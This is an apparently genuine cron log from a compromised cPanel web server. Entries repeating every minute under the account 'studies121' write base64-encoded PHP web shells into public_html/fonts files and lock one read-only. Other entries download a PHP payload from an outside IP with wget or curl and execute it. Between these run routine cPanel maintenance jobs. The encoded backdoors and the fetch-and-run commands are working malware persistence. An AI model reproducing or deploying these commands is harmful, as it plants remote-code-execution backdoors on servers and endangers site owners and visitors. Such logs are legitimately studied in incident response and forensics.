Sep  3 06:34:01 ip-184-168-122-23 CROND[18664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:34:01 ip-184-168-122-23 CROND[18665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:34:01 ip-184-168-122-23 CROND[18666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:35:01 ip-184-168-122-23 CROND[18808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18811]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:35:01 ip-184-168-122-23 CROND[18815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18814]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:35:01 ip-184-168-122-23 CROND[18813]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 06:36:01 ip-184-168-122-23 CROND[18933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:36:01 ip-184-168-122-23 CROND[18934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:36:01 ip-184-168-122-23 CROND[18935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:36:01 ip-184-168-122-23 CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:36:01 ip-184-168-122-23 CROND[18941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:37:01 ip-184-168-122-23 CROND[19067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:37:01 ip-184-168-122-23 CROND[19069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:37:01 ip-184-168-122-23 CROND[19071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:37:01 ip-184-168-122-23 CROND[19072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:38:01 ip-184-168-122-23 CROND[19267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:38:01 ip-184-168-122-23 CROND[19272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:38:01 ip-184-168-122-23 CROND[19270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:38:01 ip-184-168-122-23 CROND[19269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:38:01 ip-184-168-122-23 CROND[19271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:39:01 ip-184-168-122-23 CROND[19379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:39:01 ip-184-168-122-23 CROND[19381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:39:01 ip-184-168-122-23 CROND[19380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:39:01 ip-184-168-122-23 CROND[19384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:39:01 ip-184-168-122-23 CROND[19385]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:40:01 ip-184-168-122-23 CROND[19530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:40:01 ip-184-168-122-23 CROND[19534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:40:01 ip-184-168-122-23 CROND[19540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:41:01 ip-184-168-122-23 CROND[19702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:41:01 ip-184-168-122-23 CROND[19705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:41:01 ip-184-168-122-23 CROND[19704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:41:01 ip-184-168-122-23 CROND[19707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:42:01 ip-184-168-122-23 CROND[19929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:42:01 ip-184-168-122-23 CROND[19931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:42:01 ip-184-168-122-23 CROND[19932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:42:01 ip-184-168-122-23 CROND[19933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:42:01 ip-184-168-122-23 CROND[19934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:43:01 ip-184-168-122-23 CROND[20189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:43:01 ip-184-168-122-23 CROND[20191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:43:01 ip-184-168-122-23 CROND[20192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:43:01 ip-184-168-122-23 CROND[20193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:44:01 ip-184-168-122-23 CROND[20319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:44:01 ip-184-168-122-23 CROND[20320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:44:01 ip-184-168-122-23 CROND[20321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:44:01 ip-184-168-122-23 CROND[20323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:44:01 ip-184-168-122-23 CROND[20322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:45:01 ip-184-168-122-23 CROND[20442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:45:01 ip-184-168-122-23 CROND[20449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:45:01 ip-184-168-122-23 CROND[20445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:45:01 ip-184-168-122-23 CROND[20447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:45:01 ip-184-168-122-23 CROND[20448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:45:01 ip-184-168-122-23 CROND[20446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:46:01 ip-184-168-122-23 CROND[20559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:46:01 ip-184-168-122-23 CROND[20561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
